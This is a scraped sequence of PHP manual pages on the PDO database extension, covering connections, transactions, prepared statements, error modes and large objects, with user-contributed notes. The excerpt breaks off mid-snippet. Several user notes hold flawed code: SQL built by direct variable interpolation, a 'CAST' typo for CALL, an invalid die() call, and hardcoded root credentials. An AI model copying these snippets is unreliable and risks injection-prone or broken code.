PDO::FETCH_ORI_LAST (integer)
Fetch the last row in the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_ABS (integer)
Fetch the requested row by row number from the result set. Valid only for scrollable cursors.
PDO::FETCH_ORI_REL (integer)
Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.
PDO::CURSOR_FWDONLY (integer)
Create a PDOStatement object with a forward-only cursor. This is the default cursor choice, as it is the fastest and most common data access pattern in PHP.
PDO::CURSOR_SCROLL (integer)
Create a PDOStatement object with a scrollable cursor. Pass the PDO::FETCH_ORI_* constants to control the rows fetched from the result set.
PDO::ERR_NONE (string)
Corresponds to SQLSTATE '00000', meaning that the SQL statement was successfully issued with no errors or warnings. This constant is for your convenience when checking PDO::errorCode() or PDOStatement::errorCode() to determine if an error occurred. You will usually know if this is the case by examining the return code from the method that raised the error condition anyway.
PDO::PARAM_EVT_ALLOC (integer)
Allocation event
PDO::PARAM_EVT_FREE (integer)
Deallocation event
PDO::PARAM_EVT_EXEC_PRE (integer)
Event triggered prior to execution of a prepared statement.
PDO::PARAM_EVT_EXEC_POST (integer)
Event triggered subsequent to execution of a prepared statement.
PDO::PARAM_EVT_FETCH_PRE (integer)
Event triggered prior to fetching a result from a resultset.
PDO::PARAM_EVT_FETCH_POST (integer)
Event triggered subsequent to fetching a result from a resultset.
PDO::PARAM_EVT_NORMALIZE (integer)
Event triggered during bound parameter registration allowing the driver to normalize the parameter name.

User Contributed Notes

Axeia 02-Apr-2010 09:21
If you're reading in information from an array to use in a prepared statement you may find the following function useful.
<?php
function getPDOConstantType( $var )
{
  if( is_int( $var ) )
    return PDO::PARAM_INT;
  if( is_bool( $var ) )
    return PDO::PARAM_BOOL;
  if( is_null( $var ) )
    return PDO::PARAM_NULL;
  //Default
  return PDO::PARAM_STR;
}
?>
Resource Types
Connections and Connection management
PDO


Connections and Connection management

Connections are established by creating instances of the PDO base class. It doesn't matter which driver you want to use; you always use the PDO class name. The constructor accepts parameters for specifying the database source (known as the DSN) and optionally for the username and password (if any).

Example #1 Connecting to MySQL

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

If there are any connection errors, a PDOException object will be thrown. You may catch the exception if you want to handle the error condition, or you may opt to leave it for an application global exception handler that you set up via set_exception_handler().

Example #2 Handling connection errors

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
    foreach($dbh->query('SELECT * from FOO') as $row) {
        print_r($row);
    }
    $dbh = null;
} catch (PDOException $e) {
    print "Error!: " . $e->getMessage() . "<br/>";
    die();
}
?>

Warning

If your application does not catch the exception thrown from the PDO constructor, the default action taken by the zend engine is to terminate the script and display a back trace. This back trace will likely reveal the full database connection details, including the username and password. It is your responsibility to catch this exception, either explicitly (via a catch statement) or implicitly via set_exception_handler().

Upon successful connection to the database, an instance of the PDO class is returned to your script. The connection remains active for the lifetime of that PDO object. To close the connection, you need to destroy the object by ensuring that all remaining references to it are deleted--you do this by assigning NULL to the variable that holds the object. If you don't do this explicitly, PHP will automatically close the connection when your script ends.

Example #3 Closing a connection

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// use the connection here

// and now we're done; close it
$dbh = null;
?>

Many web applications will benefit from making persistent connections to database servers. Persistent connections are not closed at the end of the script, but are cached and re-used when another script requests a connection using the same credentials. The persistent connection cache allows you to avoid the overhead of establishing a new connection every time a script needs to talk to a database, resulting in a faster web application.

Example #4 Persistent connections

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
    PDO::ATTR_PERSISTENT => true
));
?>

Note:

If you wish to use persistent connections, you must set PDO::ATTR_PERSISTENT in the array of driver options passed to the PDO constructor. If setting this attribute with PDO::setAttribute() after instantiation of the object, the driver will not use persistent connections.

Note:

If you're using the PDO ODBC driver and your ODBC libraries support ODBC Connection Pooling (unixODBC and Windows are two that do; there may be more), then it's recommended that you don't use persistent PDO connections, and instead leave the connection caching to the ODBC Connection Pooling layer. The ODBC Connection Pool is shared with other modules in the process; if PDO is told to cache the connection, then that connection would never be returned to the ODBC connection pool, resulting in additional connections being created to service those other modules.

User Contributed Notes

alvaro at demogracia dot com 01-Jul-2011 10:07
On connection errors, the PDO constructor seems to do two things no matter your PDO::ATTR_ERRMODE setting:

1. Trigger a warning
2. Throw a PDOException

If you set the PDO::ATTR_ERRMODE parameter, it will only take effect on further operations.
jak dot spalding at gmail dot com 10-Apr-2011 12:35
Just thought I'd add in and give an explanation as to why you need to use 127.0.0.1 if you have a different port number.

The mysql libraries will automatically use Unix sockets if the host of "localhost" is used. To force TCP/IP you need to set an IP address.
ekkart at ekkart dot de 14-Oct-2010 03:43
In order to set the encoding of the database connection, use the exec function:
<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
    $dbh->exec("SET CHARACTER SET utf8");
    $dbh = null;
} catch (PDOException $e) {
    print "Error!: " . $e->getMessage() . "<br/>";
    die();
}
?>
angela 06-Apr-2010 02:53
I spent hours today trying to get my portable wamp to update a database, using localhost:800 and port 3307 for mysql. For it to work I needed to adjust the connect() instruction as described:
$dsn = "mysql:host=127.0.0.1;port=3307;dbname=mydatabase";
neville at whitespacers dot com 16-Oct-2009 03:40
To avoid exposing your connection details should you fail to remember to catch any exception thrown by the PDO constructor you can use the following class to implicitly change the exception handler temporarily.

<?php

Class SafePDO extends PDO {

        public static function exception_handler($exception) {
            // Output the exception details
            die('Uncaught exception: ', $exception->getMessage());
        }

        public function __construct($dsn, $username='', $password='', $driver_options=array()) {

            // Temporarily change the PHP exception handler while we . . .
            set_exception_handler(array(__CLASS__, 'exception_handler'));

            // . . . create a PDO object
            parent::__construct($dsn, $username, $password, $driver_options);

            // Change the exception handler back to whatever it was before
            restore_exception_handler();
        }

}

// Connect to the database with defined constants
$dbh = new SafePDO(PDO_DSN, PDO_USER, PDO_PASSWORD);

?>
dan dot franklin at pearson dot com 17-Apr-2008 09:37
Note that you can specify a port number with "port=####", but this port number will be ignored if the host is localhost.  If you want to connect to a local port other than the default, use host=127.0.0.1 instead of localhost.
Predefined Constants
Transactions and auto-commit
PDO


Transactions and auto-commit

Now that you're connected via PDO, you must understand how PDO manages transactions before you start issuing queries. If you've never encountered transactions before, they offer 4 major features: Atomicity, Consistency, Isolation and Durability (ACID). In layman's terms, any work carried out in a transaction, even if it is carried out in stages, is guaranteed to be applied to the database safely, and without interference from other connections, when it is committed. Transactional work can also be automatically undone at your request (provided you haven't already committed it), which makes error handling in your scripts easier.

Transactions are typically implemented by "saving-up" your batch of changes to be applied all at once; this has the nice side effect of drastically improving the efficiency of those updates. In other words, transactions can make your scripts faster and potentially more robust (you still need to use them correctly to reap that benefit).

Unfortunately, not every database supports transactions, so PDO needs to run in what is known as "auto-commit" mode when you first open the connection. Auto-commit mode means that every query that you run has its own implicit transaction, if the database supports it, or no transaction if the database doesn't support transactions. If you need a transaction, you must use the PDO::beginTransaction() method to initiate one. If the underlying driver does not support transactions, a PDOException will be thrown (regardless of your error handling settings: this is always a serious error condition). Once you are in a transaction, you may use PDO::commit() or PDO::rollBack() to finish it, depending on the success of the code you run during the transaction.

Warning

PDO only checks for transaction capabilities on driver level. If certain runtime conditions mean that transactions are unavailable, PDO::beginTransaction() will still return TRUE without error if the database server accepts the request to start a transaction.

An example of this would be trying to use transactions on MyISAM tables on a MySQL database.

When the script ends or when a connection is about to be closed, if you have an outstanding transaction, PDO will automatically roll it back. This is a safety measure to help avoid inconsistency in the cases where the script terminates unexpectedly--if you didn't explicitly commit the transaction, then it is assumed that something went awry, so the rollback is performed for the safety of your data.

Warning

The automatic rollback only happens if you initiate the transaction via PDO::beginTransaction(). If you manually issue a query that begins a transaction PDO has no way of knowing about it and thus cannot roll it back if something bad happens.

Example #1 Executing a batch in a transaction

In the following sample, let's assume that we are creating a set of entries for a new employee, who has been assigned an ID number of 23. In addition to entering the basic data for that person, we also need to record their salary. It's pretty simple to make two separate updates, but by enclosing them within the PDO::beginTransaction() and PDO::commit() calls, we are guaranteeing that no one else will be able to see those changes until they are complete. If something goes wrong, the catch block rolls back all changes made since the transaction was started, and then prints out an error message.

<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
  echo "Connected\n";
} catch (Exception $e) {
  die("Unable to connect: " . $e->getMessage());
}

try {
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

  $dbh->beginTransaction();
  $dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
  $dbh->exec("insert into salarychange (id, amount, changedate)
      values (23, 50000, NOW())");
  $dbh->commit();

} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

You're not limited to making updates in a transaction; you can also issue complex queries to extract data, and possibly use that information to build up more updates and queries; while the transaction is active, you are guaranteed that no one else can make changes while you are in the middle of your work. For further reading on transactions, refer to the documentation provided by your database server.

User Contributed Notes

josh dot ribakoff at gmail dot com 25-Aug-2010 02:22
PDO seems to differ from the other mysql libraries in that it will revert to auto-commit mode if you are issuing certain types of queries on certain drivers (Ex. DROP TABLE)
Connections and Connection management
Prepared statements and stored procedures
PDO


Prepared statements and stored procedures

Many of the more mature databases support the concept of prepared statements. What are they? They can be thought of as a kind of compiled template for the SQL that an application wants to run, that can be customized using variable parameters. Prepared statements offer two major benefits:

  • The query only needs to be parsed (or prepared) once, but can be executed multiple times with the same or different parameters. When the query is prepared, the database will analyze, compile and optimize its plan for executing the query. For complex queries this process can take up enough time that it will noticeably slow down an application if there is a need to repeat the same query many times with different parameters. By using a prepared statement the application avoids repeating the analyze/compile/optimize cycle. This means that prepared statements use fewer resources and thus run faster.
  • The parameters to prepared statements don't need to be quoted; the driver automatically handles this. If an application exclusively uses prepared statements, the developer can be sure that no SQL injection will occur (however, if other portions of the query are being built up with unescaped input, SQL injection is still possible).

Prepared statements are so useful that they are the only feature that PDO will emulate for drivers that don't support them. This ensures that an application will be able to use the same data access paradigm regardless of the capabilities of the database.

Example #1 Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the named placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #2 Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the positional ? placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #3 Fetching data using prepared statements

This example fetches data based on a key value supplied by a form. The user input is automatically quoted, so there is no risk of a SQL injection attack.

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}
?>

If the database driver supports it, an application may also bind parameters for output as well as input. Output parameters are typically used to retrieve values from stored procedures. Output parameters are slightly more complex to use than input parameters, in that a developer must know how large a given parameter might be when they bind it. If the value turns out to be larger than the size they suggested, an error is raised.

Example #4 Calling a stored procedure with an output parameter

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $return_value\n";
?>

Developers may also specify parameters that hold values both input and output; the syntax is similar to output parameters. In this next example, the string 'hello' is passed into the stored procedure, and when it returns, hello is replaced with the return value of the procedure.

Example #5 Calling a stored procedure with an input/output parameter

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'hello';
$stmt->bindParam(1, $value, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $value\n";
?>

Example #6 Invalid use of placeholder

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute(array($_GET['name']));

// placeholder must be used in the place of the whole value
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(array("%$_GET[name]%"));
?>

User Contributed Notes

Anonymous 23-Jan-2011 04:26
Note for MySQL: to use input/output parameters for stored procedures with PDO use PDO.Query() statement.
For example:

<?php
$dbh->query("CAST SomeStoredProcedure($someInParameter1, $someInParameter2, @someOutParameter)");
$dbh->query("SELECT @someOutParameter");
?>

Or, if you want very much to use PDO.Prepare(), insert "SELECT @someOutParameter" in your stored procedure and then use:

<?php
$stmt = $dbh->prepare("CAST SomeStoredProcedure(?, ?)");
$stmt ->execute(array($someInParameter1, $someInParameter2));
?>
oldmoscow dot mail dot ru 21-Jan-2011 02:09
Note for MySQL: to use input/output parameters for stored procedures with PDO use PDO.Query() statement.
For example:

<?php
$dbh->query("CAST SomeStoredProcedure($someInParameter1, $someInParameter2, @someOutParameter)");
$dbh->query("SELECT @someOutParameter");
?>

Or, if you want very much to use PDO.Prepare(), insert "SELECT @someOutParameter" in your stored procedure and then use:

<?php
$stmt = $dbh->prepare("CAST SomeStoredProcedure(?, ?)");
$stmt ->execute(array($someInParameter1, $someInParameter2));
?>
adam at pyramidpower dot com dot au 05-Apr-2010 06:38
Note that when using name parameters with bindParam, the name itself, cannot contain a dash '-'.

example:
<?php
$stmt = $dbh->prepare ("INSERT INTO user (firstname, surname) VALUES (:f-name, :s-name)");
$stmt -> bindParam(':f-name', 'John');
$stmt -> bindParam(':s-name', 'Smith');
$stmt -> execute();
?>

The dashes in 'f-name' and 's-name' should be replaced with an underscore or no dash at all.

See http://bugs.php.net/43130

Adam
mackwic at gmail dot com 05-Jan-2010 11:32
You have to make attention to the parameters send to the method.

We can imagine that a request like that can work:
<?php
$query = 'SELECT ? FROM ? WHERE id = ?';
?>

But in fact, it's a hijack of prepared query, which MUST be used *ONLY* to change the condition (here the last '?' ).
You do not send my_table.my_row or my_scheme.my_table because this parameters are essentials to optimize the query before execution.

Other thing: prepared query can not be serialized to reuse it some time later. For that you can use a mask (http://fr2.php.net/singleton)
A prepared query is temporary.
Transactions and auto-commit
Errors and error handling
PDO


Errors and error handling

PDO offers you a choice of 3 different error handling strategies, to fit your style of application development.

  • PDO::ERRMODE_SILENT

    This is the default mode. PDO will simply set the error code for you to inspect using the PDO::errorCode() and PDO::errorInfo() methods on both the statement and database objects; if the error resulted from a call on a statement object, you would invoke the PDOStatement::errorCode() or PDOStatement::errorInfo() method on that object. If the error resulted from a call on the database object, you would invoke those methods on the database object instead.

  • PDO::ERRMODE_WARNING

    In addition to setting the error code, PDO will emit a traditional E_WARNING message. This setting is useful during debugging/testing, if you just want to see what problems occurred without interrupting the flow of the application.

  • PDO::ERRMODE_EXCEPTION

    In addition to setting the error code, PDO will throw a PDOException and set its properties to reflect the error code and error information. This setting is also useful during debugging, as it will effectively "blow up" the script at the point of the error, very quickly pointing a finger at potential problem areas in your code (remember: transactions are automatically rolled back if the exception causes the script to terminate).

    Exception mode is also useful because you can structure your error handling more clearly than with traditional PHP-style warnings, and with less code/nesting than by running in silent mode and explicitly checking the return value of each database call.

    See Exceptions for more information about Exceptions in PHP.

PDO standardizes on using SQL-92 SQLSTATE error code strings; individual PDO drivers are responsible for mapping their native codes to the appropriate SQLSTATE codes. The PDO::errorCode() method returns a single SQLSTATE code. If you need more specific information about an error, PDO also offers an PDO::errorInfo() method which returns an array containing the SQLSTATE code, the driver specific error code and driver specific error string.

Example #1 Create a PDO instance and set the error mode

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

User Contributed Notes

john dot navratil at sbcglobal dot net 07-Jun-2008 03:38
SQLSTATE code strings cannot be counted on, yet.  Attempting to insert a row with a duplicate key provides the 23000 code (constraint violation) when using mysql, but HY000 when using Oracle.  The PDO docs say this is the responsibility of the driver to convert.  In the meantime, the app will have to do it.
radical 22-Apr-2008 12:45
For your convenience, here's an example of how to set the error handling:

<?php

  $dbh = new PDO( /* your connection string */ );
  $dbh->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );
  // . . .
?>
Prepared statements and stored procedures
Large Objects (LOBs)
PDO


Large Objects (LOBs)

At some point in your application, you might find that you need to store "large" data in your database. Large typically means "around 4kb or more", although some databases can happily handle up to 32kb before data becomes "large". Large objects can be either textual or binary in nature. PDO allows you to work with this large data type by using the PDO::PARAM_LOB type code in your PDOStatement::bindParam() or PDOStatement::bindColumn() calls. PDO::PARAM_LOB tells PDO to map the data as a stream, so that you can manipulate it using the PHP Streams API.

Example #1 Displaying an image from a database

This example binds the LOB into the variable named $lob and then sends it to the browser using fpassthru(). Since the LOB is represented as a stream, functions such as fgets(), fread() and stream_get_contents() can be used on it.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

Example #2 Inserting an image into a database

This example opens up a file and passes the file handle to PDO to insert it as a LOB. PDO will do its best to get the contents of the file up to the database in the most efficient manner possible.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // some function to allocate a new ID

// assume that we are running as part of a file upload form
// You can find more information in the PHP documentation

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

Example #3 Inserting an image into a database: Oracle

Oracle requires a slightly different syntax for inserting a lob from a file. It's also essential that you perform the insert under a transaction, otherwise your newly inserted LOB will be committed with a zero-length as part of the implicit commit that happens when the query is executed:

<?php
$db = new PDO('oci:', 'scott', 'tiger');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) " .
"VALUES (?, ?, EMPTY_BLOB()) RETURNING imagedata INTO ?");
$id = get_new_id(); // some function to allocate a new ID

// assume that we are running as part of a file upload form
// You can find more information in the PHP documentation

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$stmt->beginTransaction();
$stmt->execute();
$stmt->commit();
?>

User Contributed Notes

xorinox at gmx dot ch 13-Jan-2011 11:11
I find it easier to use stream_get_contens to fetch the data of a lob using the file handle.

<?php
$stmt = $pdo->con->prepare( 'select * from filetable' );
$stmt->execute();
$res = $stmt->fetchAll( PDO::FETCH_ASSOC );

for( $i=0; $i<count($res); $i++ ){
  $filename = "C:/tmp/".$res[$i]['FILE_ID'].'.xml';
  $content = stream_get_contents( $res[$i]['DATA_FILE'] );
  file_put_contents( $filename, $content );
}
?>
Jeremy Cook 19-Feb-2010 01:31
There seems to be a bug that affects example 1 above. PDO::PARAM_LOB when used with pdo::bindColumn() is supposed to return a stream but it returns a string. Passing this string to fpassthru() then triggers an error with the message 'supplied argument is not a valid stream resource'. This has been reported in bug #40913. The work around is to do the following:

<?php
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
echo($lob);
?>

Since the browser is expecting an image after the call to header() writing the string representation of the binary output with echo() has the same affect as calling fpassthru().
http://matts.org/ 28-Aug-2009 01:30
A big gotcha exists for Oracle users.

You have to save CLOB objects using PDO::PARAM_STR, not PDO::PARAM_LOB.

But you MUST send the 4th argument, usually strlen($subject) or you get a LONG error.
diogoko at gmail dot com 01-Apr-2009 09:33
PDOStatement's methods bindParam and bindValue also work with strings, as in:

<?php
  $data = file_get_contents($filename);
  $stmt->bindValue(1, $data, PDO::PARAM_LOB);
  //...
?>

This was the only way I could make it work with PostgreSQL.
knl at bitflop dot com 23-Sep-2008 12:07
I spend a lot of time trying to get this to work, but no matter what I did PDO corrupted my data.

I finally discovered that I had been using:

$pdo->exec('SET CHARACTER SET utf8');

in the TRY part of my connection script.

This off course doesn't work when you feed binary input to PDO using the parameter lob.
Errors and error handling
PDO
PDO


The PDO class

(No version information available, might only be in SVN)

Introduction

Represents a connection between PHP and a database server.

Class synopsis

PDO {
__construct ( string $dsn [, string $username [, string $password [, array $driver_options ]]] )
bool beginTransaction ( void )
bool commit ( void )
mixed errorCode ( void )
array errorInfo ( void )
int exec ( string $statement )
mixed getAttribute ( int $attribute )
array getAvailableDrivers ( void )
bool inTransaction ( void )
string lastInsertId ([ string $name = NULL ] )
PDOStatement prepare ( string $statement [, array $driver_options = array() ] )
PDOStatement query ( string $statement )
string quote ( string $string [, int $parameter_type = PDO::PARAM_STR ] )
bool rollBack ( void )
bool setAttribute ( int $attribute , mixed $value )
}

Table of Contents

  • PDO::beginTransaction — Initiates a transaction
  • PDO::commit — Commits a transaction
  • PDO::__construct — Creates a PDO instance representing a connection to a database
  • PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
  • PDO::exec — Execute an SQL statement and return the number of affected rows
  • PDO::getAttribute — Retrieve a database connection attribute
  • PDO::getAvailableDrivers — Return an array of available PDO drivers
  • PDO::inTransaction — Checks if inside a transaction
  • PDO::lastInsertId — Returns the ID of the last inserted row or sequence value
  • PDO::prepare — Prepares a statement for execution and returns a statement object
  • PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object
  • PDO::quote — Quotes a string for use in a query.
  • PDO::rollBack — Rolls back a transaction
  • PDO::setAttribute — Set an attribute

User Contributed Notes

williambarry007 at gmail dot com 12-Oct-2011 01:10
PDO and Dependency Injection

Dependency injection is good for testing.  But for anyone wanting various data mapper objects to have a database connection, dependency injection can make other model code very messy because database objects have to be instantiated all over the place and given to the data mapper objects.

The code below is a good way to maintain dependency injection while keeping clean and minimal model code.

<?php

class DataMapper
{
    public static $db;

    public static function init($db)
    {
        self::$db = $db;
    }
}

class VendorMapper extends DataMapper
{
    public static function add($vendor)
    {
        $st = self::$db->prepare(
            "insert into vendors set
            first_name = :first_name,
            last_name = :last_name"
        );
        $st->execute(array(
            ':first_name' => $vendor->first_name,
            ':last_name' => $vendor->last_name
        ));
    }
}

// In your bootstrap
$db = new PDO(...);
DataMapper::init($db);

// In your model logic
$vendor = new Vendor('John', 'Doe');
VendorMapper::add($vendor);

?>
RockMeAmadeus 25-Aug-2010 10:44
PDO::getAvailableDrivers is the only PDO static method so it needs a double colon. The other PDO methods are used by an object, so they should use the -> syntax.
   * PDO->beginTransaction — Initiates a transaction
    * PDO->commit — Commits a transaction
    * PDO->__construct — Creates a PDO instance representing a connection to a database
    * PDO->errorCode — Fetch the SQLSTATE associated with the last operation on the database handle
    * PDO->errorInfo — Fetch extended error information associated with the last operation on the database handle
    * PDO->exec — Execute an SQL statement and return the number of affected rows
    * PDO->getAttribute — Retrieve a database connection attribute
    * PDO::getAvailableDrivers — Return an array of available PDO drivers
    * PDO->lastInsertId — Returns the ID of the last inserted row or sequence value
    * PDO->prepare — Prepares a statement for execution and returns a statement object
    * PDO->query — Executes an SQL statement, returning a result set as a PDOStatement object
    * PDO->quote — Quotes a string for use in a query.
    * PDO->rollBack — Rolls back a transaction
    * PDO->setAttribute — Set an attribute
kcleung at kcleung dot no-ip dot org 02-May-2010 03:47
Here is an singleton PDO example:

###### config.ini ######
db_driver=mysql
db_user=root
db_password=924892xp

[dsn]
host=localhost
port=3306
dbname=localhost

[db_options]
PDO::MYSQL_ATTR_INIT_COMMAND=set names utf8

[db_attributes]
ATTR_ERRMODE=ERRMODE_EXCEPTION
############

<?php class Database {
    private static $link = null ;

    private static function getLink ( ) {
        if ( self :: $link ) {
            return self :: $link ;
        }

        $ini = _BASE_DIR . "config.ini" ;
        $parse = parse_ini_file ( $ini , true ) ;

        $driver = $parse [ "db_driver" ] ;
        $dsn = "${driver}:" ;
        $user = $parse [ "db_user" ] ;
        $password = $parse [ "db_password" ] ;
        $options = $parse [ "db_options" ] ;
        $attributes = $parse [ "db_attributes" ] ;

        foreach ( $parse [ "dsn" ] as $k => $v ) {
            $dsn .= "${k}=${v};" ;
        }

        self :: $link = new PDO ( $dsn, $user, $password, $options ) ;

        foreach ( $attributes as $k => $v ) {
            self :: $link -> setAttribute ( constant ( "PDO::{$k}" )
                , constant ( "PDO::{$v}" ) ) ;
        }

        return self :: $link ;
    }

    public static function __callStatic ( $name, $args ) {
        $callback = array ( self :: getLink ( ), $name ) ;
        return call_user_func_array ( $callback , $args ) ;
    }
} ?>

<?php // examples
$stmt = Database :: prepare ( "SELECT 'something' ;" ) ;
$stmt -> execute ( ) ;
var_dump ( $stmt -> fetchAll ( ) ) ;
$stmt -> closeCursor ( ) ;
?>
Megaloman 18-Feb-2009 07:03
"And storing username/password inside class is not a very good idea for production code."

Good idea is to store database connection settings in *.ini files but you have to restrict access to them. For example this way:

my_setting.ini:
[database]
driver = mysql
host = localhost
;port = 3306
schema = db_schema
username = user
password = secret

Database connection:
<?php
class MyPDO extends PDO
{
    public function __construct($file = 'my_setting.ini')
    {
        if (!$settings = parse_ini_file($file, TRUE)) throw new exception('Unable to open ' . $file . '.');

        $dns = $settings['database']['driver'] .
        ':host=' . $settings['database']['host'] .
        ((!empty($settings['database']['port'])) ? (';port=' . $settings['database']['port']) : '') .
        ';dbname=' . $settings['database']['schema'];

        parent::__construct($dns, $settings['database']['username'], $settings['database']['password']);
    }
}
?>

Database connection parameters are accessible via human readable ini file for those who screams even if they see one PHP/HTML/any_other command.
anrdaemon at freemail dot ru 22-Aug-2008 01:16
Keep in mind, you MUST NOT use 'root' user in your applications, unless your application designed to do a database maintenance.

And storing username/password inside class is not a very good idea for production code. You would need to edit the actual working code to change settings, which is bad.
schizo_mind at hotmail dot com 28-Jul-2008 10:00
<?php
class PDOConfig extends PDO {

    private $engine;
    private $host;
    private $database;
    private $user;
    private $pass;

    public function __construct(){
        $this->engine = 'mysql';
        $this->host = 'localhost';
        $this->database = '';
        $this->user = 'root';
        $this->pass = '';
        $dns = $this->engine.':dbname='.$this->database.";host=".$this->host;
        parent::__construct( $dns, $this->user, $this->pass );
    }
}
?>
Large Objects (LOBs)
PDO::beginTransaction
PDO


Initiates a transaction

PDO
PDO::commit
PDO
PHP Manual

PDO::beginTransaction

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::beginTransaction — Initiates a transaction

Description

bool PDO::beginTransaction ( void )

Turns off autocommit mode. While autocommit mode is turned off, changes made to the database via the PDO object instance are not committed until you end the transaction by calling PDO::commit(). Calling PDO::rollBack() will roll back all changes to the database and return the connection to autocommit mode.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

See Also

  • PDO::commit() - Commits a transaction
  • PDO::rollBack() - Rolls back a transaction
  • Transactions and auto-commit

User Contributed Notes

ludwig dot green at gmail dot com 08-Jun-2010 09:23
be aware that you also can not use TRUNCATE TABLE as this statement will trigger a commit just like CREATE TABLE or DROP TABLE

it is best to only use SELECT, UPDATE and DELETE within a transaction, all other statements may cause commits thus breaking the atomicity of your transactions and their ability to rollback

obviously you can use DELETE FROM <table> instead of TRUNCATE TABLE but be aware that there are differences between both statements, for example TRUNCATE resets the auto_increment value while DELETE does not.
geompse at gmail dot com 28-Dec-2009 01:58
With Oracle, any structure statement will do an implicit commit.

So : ALTER TABLE "my_table" DROP COLUMN "my_column";
Can't be rolled back !

Hope this will save time for others
rjohnson at intepro dot us 11-Apr-2009 02:27
If you are using PDO::SQLITE and need to support a high level of concurrency with locking, try preparing your statements prior to calling beginTransaction() and you may also need to call closeCursor() on SELECT statements to prevent the driver from thinking that there are open transactions.

Here's an example (Windows, PHP version 5.2.8).  We test this by opening 2 browser tabs to this script and running them at the same time.  If we put the beginTransaction before the prepare, the second browser tab would hit the catch block and the commit would throw another PDOException indicating that transactions were still open.

<?php
$conn = new PDO('sqlite:C:\path\to\file.sqlite');
$stmt = $conn->prepare('INSERT INTO my_table(my_id, my_value) VALUES(?, ?)');
$waiting = true; // Set a loop condition to test for
while($waiting) {
    try {
        $conn->beginTransaction();
        for($i=0; $i < 10; $i++) {
